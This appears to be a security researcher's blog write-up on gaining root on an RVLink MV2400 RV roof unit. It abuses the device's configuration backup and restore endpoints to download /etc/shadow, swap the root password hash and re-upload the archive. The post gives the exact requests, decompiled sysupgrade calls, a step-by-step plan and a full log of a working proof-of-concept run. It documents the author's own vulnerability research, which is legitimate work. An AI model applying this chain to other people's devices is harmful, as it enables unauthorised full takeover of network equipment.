Rooting the RVLink MV2400: A Deep Dive into Configuration Backup/Restore Vulnerabilities (RVLink hacking part 2.5)
- Part 1: Hacking the RV Internet Part 1: Taking Direct Control of the Magnadyne RVLink RV2400
- Part 2: RVLink Roof Unit Deep Dive Part 2: Firmware Secrets and API Mapping
- Kings of the Castle: Achieving Total Webcfg Auth Bypass in RVLink Firmware
Before diving into the technical details, it's important to acknowledge that the general approach of leveraging backup and restore mechanisms for root access on OpenWrt-based devices isn't entirely new. In fact, during my evaluation, I encountered resources like the OpenWrt wiki page for the COMFAST CF-E120A v3, which outlines similar steps for gaining root access to flash OpenWrt.
However, I want to emphasize that the methodology detailed in this post for the RVLink MV2400 was conceived independently, stemming directly from my own research and the reverse engineering of its webmgnt binary. Discovering this path on my own felt like a significant achievement, and this report documents that specific journey and its findings.
This is particularly noteworthy because while the RVLink MV2400 runs OpenWrt, its standard web user interface has been completely stripped (a custom control api was added in it's stead that the paired indoor unit uses to configure the device). Consequently, the existence of these potentially vulnerable mbox-config endpoints within the webmgnt binary—apparently a carryover from the COMFAST developers—was not discoverable through any visible interface. My awareness of their potential presence, and thus the starting point for this investigation, was entirely thanks to the prior analysis of firmware from a similar COMFAST device.
This report details the steps taken to identify and exploit a vulnerability in the RVLink MV2402 roof unit (running firmware based on OpenWrt, potentially derived from COMFAST CF-E5 hardware) that allows an authenticated user to gain root access through the configuration backup and restore mechanism. The analysis focuses on the behavior of the /cgi-bin/mbox-config endpoint handled by the webmgnt binary.
1. Endpoint Discovery and Initial Probe
- Prior Research Context: Initial reconnaissance efforts involved reverse engineering firmware obtained from the COMFAST support website for similar hardware platforms (specifically, devices suspected to share lineage with the COMFAST CF-E5, as detailed in the related blog post "RVLink Roof Unit Deep Dive Part 2: Firmware Secrets and API"). This prior analysis revealed the common usage of a FastCGI binary, typically named
webmgnt, handling API requests through the/cgi-bin/mbox-configendpoint. A common pattern identified was the use ofsection=query parameters to dispatch requests to different backend functions (e.g.,section=wifi_scan,section=guide_config). - Targeted Probing: Based on this understanding derived from related firmware, the
/cgi-bin/mbox-configendpoint on the live RVLink MV2400 device was probed for potentially sensitive or interestingsection=parameters. The parametersection=system_config_backupwas identified as a high-value target.
Initial Action: To trigger this potential backup function, a custom Python script was developed primarily for convenience in automatically handling acquiring a valid session id. This wrapper sent an authenticated HTTP POST request—determined experimentally to be the required method for this action on the target—to the device:
POST http://192.168.10.254/cgi-bin/mbox-config?method=GET§ion=system_config_backup
2. Discovery of Archive Contents (bakup.file)
- Data Retrieval: The request sent in Step 1 resulted in the device transmitting a file stream, which was saved locally. Server-side logic indicated the intended filename was
bakup.file. (Note: The filenamebakup.fileis used verbatim as encountered on the system and in its code.) - File Analysis: Standard file analysis utilities (
file,tar -tvzf) applied to this downloaded file identified it as a gzipped tar archive (.tar.gz). - Contents & Significance: Further inspection confirmed the archive contained a snapshot of the device's
/etcdirectory, including critical configuration files and the/etc/shadowfile containing hashed user passwords. This information disclosure confirmed a serious vulnerability vector.
$ file bakup.file
bakup.file: gzip compressed data, max compression, from Unix, original size modulo 2^32 116224
$ tar -tvf bakup.file
-rw-r--r-- root/root 0 2025-05-06 14:55 etc/changeconfig
-rw-rw-r-- root/root 0 2017-03-28 22:55 etc/config/arp
-rw-rw-r-- root/root 0 2017-03-28 22:55 etc/config/cluster
-rw-r--r-- root/root 43 2025-05-06 15:00 etc/config/common
-rw-rw-r-- root/root 177 2018-09-28 22:12 etc/config/common_ap
-rw-r--r-- root/root 692 2020-04-07 00:27 etc/config/ddns
-rw-r--r-- root/root 741 2020-05-04 21:13 etc/config/dhcp
-rw-r--r-- root/root 134 2020-04-07 00:18 etc/config/dropbear
-rw-r--r-- root/root 5246 2020-04-07 00:27 etc/config/firewall
-rwxrwxr-x root/root 0 2018-06-21 05:07 etc/config/led
-rw-rw-r-- root/root 135 2019-10-23 06:18 etc/config/login
-rwxrwxr-x root/root 104 2018-09-28 22:12 etc/config/mbox
-rw-r--r-- root/root 1489 2025-05-06 15:00 etc/config/network
-rw-rw-r-- root/root 56 2018-12-18 20:33 etc/config/probe
-rw-rw-r-- root/root 1522 2017-03-28 22:55 etc/config/qos
-rwxrwxr-x root/root 148 2019-10-23 03:24 etc/config/remote
-rwxr-xr-x root/root 3218 2025-05-06 12:56 etc/config/system
-rwxrwxr-x root/root 3001 2019-06-15 03:03 etc/config/system_ac
-rwxrwxr-x root/root 520 2019-10-23 03:24 etc/config/system_ap
-rw-r--r-- root/root 127 2025-05-06 14:55 etc/config/vlan
-rw-r--r-- root/root 2142 2025-05-06 15:00 etc/config/wireless
-rw-rw-r-- root/root 36 2025-05-06 15:02 etc/crontabs/root
-rw------- root/root 458 2020-05-04 21:12 etc/dropbear/dropbear_dss_host_key
-rw------- root/root 805 2020-05-04 21:12 etc/dropbear/dropbear_rsa_host_key
-rw-r--r-- root/root 352 2020-04-07 00:27 etc/firewall.user
-rw-rw-r-- root/root 123 2017-03-28 22:55 etc/group
-rw-rw-r-- root/root 39 2025-05-06 15:01 etc/hosts
-rw-rw-r-- root/root 126 2017-03-28 22:55 etc/inittab
-r----x--t root/root 3 2025-05-07 12:11 etc/max_link_timeout
-rwxr-xr-x root/root 1065 2020-04-07 00:24 etc/nginx/fastcgi_params
-rwxr-xr-x root/root 2837 2020-04-07 00:24 etc/nginx/koi-utf
-rwxr-xr-x root/root 2223 2020-04-07 00:24 etc/nginx/koi-win
-rwxr-xr-x root/root 3463 2020-04-07 00:24 etc/nginx/mime.types
-rw-r--r-- root/root 5626 2020-04-07 00:24 etc/nginx/naxsi_core.rules
-rwxr-xr-x root/root 2095 2020-04-07 00:24 etc/nginx/nginx.conf
-rw-r--r-- root/root 1295 2020-04-07 00:24 etc/nginx/nginx.conf.syslog
-rwxr-xr-x root/root 1674 2020-04-07 00:24 etc/nginx/ssl/cflogin.key
-rwxr-xr-x root/root 3666 2020-04-07 00:24 etc/nginx/ssl/cflogin.pem
-rwxr-xr-x root/root 3610 2020-04-07 00:24 etc/nginx/win-utf
-rw-rw-r-- root/root 2 2019-10-23 03:24 etc/parental_ctl.json
-rw-r--r-- root/root 190 2020-04-04 05:23 etc/passwd
-rw-rw-r-- root/root 441 2018-09-28 22:12 etc/profile
-rw-rw-r-- root/root 132 2017-03-28 22:55 etc/rc.local
-rw------- root/root 152 2020-04-04 05:24 etc/shadow
-rw-rw-r-- root/root 9 2017-03-28 22:55 etc/shells
-rw-r--r-- root/root 24576 2025-05-07 12:11 etc/sta_list
-rwxr-xr-x root/root 8 2025-05-07 12:11 etc/sta_list_num
-rw-rw-r-- root/root 872 2017-03-28 22:55 etc/sysctl.conf
-rw-r--r-- root/root 3 2025-05-06 13:16 etc/wan_listBINGO
3. Analysis of Backup Creation (mbox-config_GET_system_config_backup)
- Trigger: As established in Step 1, the HTTP request targeting
section=system_config_backupinvokes the server-side functionmbox-config_GET_system_config_backupwithin thewebmgntbinary. - Mechanism: The function executes the shell command
sysupgrade -b /tmp/bakup.file. This utilizes the standard OpenWrtsysupgradeutility with the-boption, which is specifically designed to create a configuration backup archive (in.tar.gzformat) at the specified path (/tmp/bakup.file). The contents of this archive are determined by the system'ssysupgradeconfiguration (usually including/etc/config/,/etc/shadow,/etc/passwd, etc.). - File Handling: After creating the archive, the function sets a variable (
download_filename) to "bakup.file". This signals to the main request handling logic (within the broaderwebmgnt_FROM_DEVICE.ccode) to read the content of/tmp/bakup.file, send it back to the client with appropriate download headers, and subsequently delete the temporary file.
Code Analysis: The code snippet from the main() function within webmgnt reveals the core mechanism for creating the backup
// Function: mbox-config_GET_system_config_backup (from code_snippets.txt)
sprintf(acStack_110,"sysupgrade -b %s >> /dev/null","/tmp/bakup.file",in_a3,puVar1);
system(acStack_110);
strcpy(&download_filename,"bakup.file");
return 0;4. Formulation of the Exploit Plan
- Hypothesis: Based on the discovery that
/etc/shadowis included in the downloadablesysupgrade -barchive, and the common practice of pairing backup functions with restore functions, the following exploit plan was developed:- Download the
bakup.filearchive. - Extract the archive, modify the
etc/shadowfile to replace the root user's password hash with a known hash (e.g., generated viapasslib.hash.md5_crypt). - Re-package the modified
/etcstructure into a newtar.gzarchive. - Identify the corresponding configuration restore function on the device (hypothesized to be triggered by
section=system_load_config). - Upload the modified archive via the restore function.
- If the restore function overwrites files based on the archive, the live
/etc/shadowwill be replaced. - A subsequent reboot (potentially triggered by the restore function) should activate the new password, granting root SSH access.
- Download the
5. Analysis of Restore Function (mbox-config?method=SET§ion=system_load_config)
- File Handling : Analysis of the full
webmgntbinary's file upload logic (outside the provided snippet but necessary context) confirms thatmultipart/form-datauploads associated with actions likesystem_load_configresult in the file being saved to the fixed path/tmp/bakup.fileon the device. - Confirmation of Behavior: This code confirms the use of
sysupgrade -r /tmp/bakup.file && reboot.sysupgrade -r <archive>is the standard OpenWrt command to restore configuration from the specified archive.- Its defined behavior is to extract the archive's contents to the root filesystem (
/), overwriting any existing files with matching paths found within the archive. This directly facilitates the overwrite of/etc/shadow. - The
&& rebootsuffix ensures the device restarts immediately after the restore, applying the changes.
Restore Execution: After the uploaded file is saved, the function mbox-config_SET_system_load_config is called. The provided snippet for this function shows the command it executes:
// Function: mbox-config_SET_system_load_config (from code_snippets.txt)
sprintf(acStack_110,"sleep 2 && sysupgrade -r %s && reboot & >> /dev/null","/tmp/bakup.file",in_a3,puVar1);
system(acStack_110);
Trigger: The restore mechanism is invoked by sending the modified archive as part of an HTTP POST request with multipart/form-data encoding to the endpoint:
POST http://192.168.10.254/cgi-bin/mbox-config?method=SET§ion=system_load_config
6. Conclusion
The vulnerability originates from the combination of an information disclosure vulnerability (system_config_backup exposing /etc/shadow via sysupgrade -b) and an insecure file overwrite vulnerability (where system_load_config blindly passes a user-uploaded archive from /tmp/bakup.file to sysupgrade -r). An authenticated user can download the configuration backup, modify the root user's password hash within the /etc/shadow file in the archive, and upload the modified archive via the restore function. The sysupgrade -r command then overwrites the live /etc/shadow file, and the subsequent reboot grants the user root SSH access with their chosen password, effectively giving an attacker full administrative control over the device.
So, did it work?
Yes, it works. Proof of concept code here
I used Google Gemini to add Adeptus Mechanicus themed verbose logging to the script for my attempt. This script also enabled the SSH banner in dropbear and uploaded a custom /etc/banner file.
I’m currently connecting to the device via a twingate connector running on an old laptop I left in there last weekend. I wasn’t expecting the POST to the config restore endpoint to work on the first try and it took over 5 minutes to come back online. What a nail-biter.
=======================================================
RVLink MV2400 ARCHIVE SUBVERSION PROTOCOL v1.9
Invoked under the Auspices of Archmagos Kotov
For Sanctioned Analysis Only - Omnissiah Protect Us
=======================================================
[*] Invoking Rite of Connection with Target Cogitator...
[*] Target Cogitator Designation: 192.168.10.254
[+] Noospheric Link Established. Session Spirit Instantiated.
[+] Initiating Litany of Authentication...
[*] Invoking Authentication Canticle (Attempt 1/3)...
[*] Compiling Access Invocation: User-Designate='admin', Pass-Codex='[REDACTED]'
[*] Transmitting Authentication Canticle...
[*] Analyzing Machine Spirit Response Patterns...
[SUCCESS] Authentication Confirmed. Access Grata by the Omnissiah!
[+] Blessed Session Spirit Token Acquired: c0a80aa8-3cfffff...
[+] Preparing for Data Exfiltration Module: SYSTEM BACKUP...
[*] Session Token c0a80aa8-3cfffff... verified active.
[*] Target Data Locus: http://192.168.10.254/cgi-bin/mbox-config?method=GET§ion=system_config_backup
[*] Beginning Invocation for Bulk Data Sanctification (POST)...
[+] Data Conduit Open. Receiving Sanctified Data Packets...
[*] Cogitator reports Data-Type: application/x-targz
[*] Acquiring Fragments... 18 KiB
[SUCCESS] Acquisition Ritual Complete. Archive 'c:\Users\wes\Documents\RVLINK\rv2402\cognitor_backup_archive.tgz' Secured (18489 bytes).
[+] Initial Data Archive Acquisition Successful. Commencing payload modification...
[*] Invoking Litany of Hashing (md5_crypt) for Access Phrase: '[REDACTED]'
[+] MD5-crypt hash calculation complete. Salt 'DeusMech' consecrated.
[*] Target Root Access Codex for Implantation: $1$DeusMech$VSN0k/QJguhtxuNUoH7hq0
[*] Preparing sacred banner inscription...
[+] Invoking Rite of Archive Transmutation and Sanctification...
[*] Unspooling Archive Bindings into Logis Buffer...
[!] Locating Dropbear config: etc/config/dropbear. Applying BannerFile directive...
[+] Ensured correct BannerFile directive is active in Dropbear config.
[+] Dropbear configuration adjusted for sacred banner.
[!] Locating Data-Slate: etc/shadow...
[*] Parsing Shadow hieroglyphs for root sigil...
[*] Root User Invocation Sigil identified...
[+] Root Access Codex re-scribed.
[+] Altered 'etc/shadow' integrated into payload.
[+] Inscribing new sacred banner into '/etc/banner'...
[*] Applying Rites of Compression and Finalizing Transmuted Archive...
[SUCCESS] Archive Transmutation and Sanctification Complete. Payload is blessed.
[*] Transmuted Payload Archive 'c:\Users\wes\Documents\RVLINK\rv2402\modified_payload_archive.tgz' staged locally.
[+] Payload successfully transmitted. Cogitator should initiate reboot.
[*] Observing Noosphere for 5 cycles...
[*] Initiating Canticle of Pinging 192.168.10.254...
[+] OMNISSIAH BE PRAISED! Cogitator 192.168.10.254 is responding after 312s.
[+] Reboot sequence complete. Initiating final verification via SSH...
[+] Initiating Rite of SSH Verification: root@192.168.10.254
[*] Applying cryptographic compatibility shims for ancient Machine Spirit (Dropbear)...
[+] Cryptographic shims applied successfully.
[*] Attempting secure channel establishment...
[*] Using explicit disabled_algorithms for host keys: ['rsa-sha2-512', 'rsa-sha2-256']
[*] Server Banner:
-------
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 01001000 01100101 01110010 01100101 01110100 01101001 01100011 01110011 +
+ 00100000 01110111 01101001 01101100 01101100 00100000 01100010 01100101 +
+ 00100000 01110000 01110101 01110010 01100111 01100101 01100100 00100001 +
+ +
+ This Cogitator Operates Under the Blessed Guidance +
+ of the Adeptus Mechanicus - Mars +
+ +
+ Unauthorized Access is Techno-Heresy. +
+ Glory to the Machine God! +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-------
[+] Secure Channel Established. Issuing 'id' command...
[*] Command 'id' exit status: 0
[*] Cogitator Response (stdout): uid=0(root) gid=0(root)
[SUCCESS] Root access confirmed! uid=0(root) detected.
[*] Secure channel terminated.
[+] RITUAL COMPLETE AND VERIFIED. Root access granted! The Omnissiah prevails!
[*] Terminating Noospheric Link. Returning Cognition to Primary Chamber...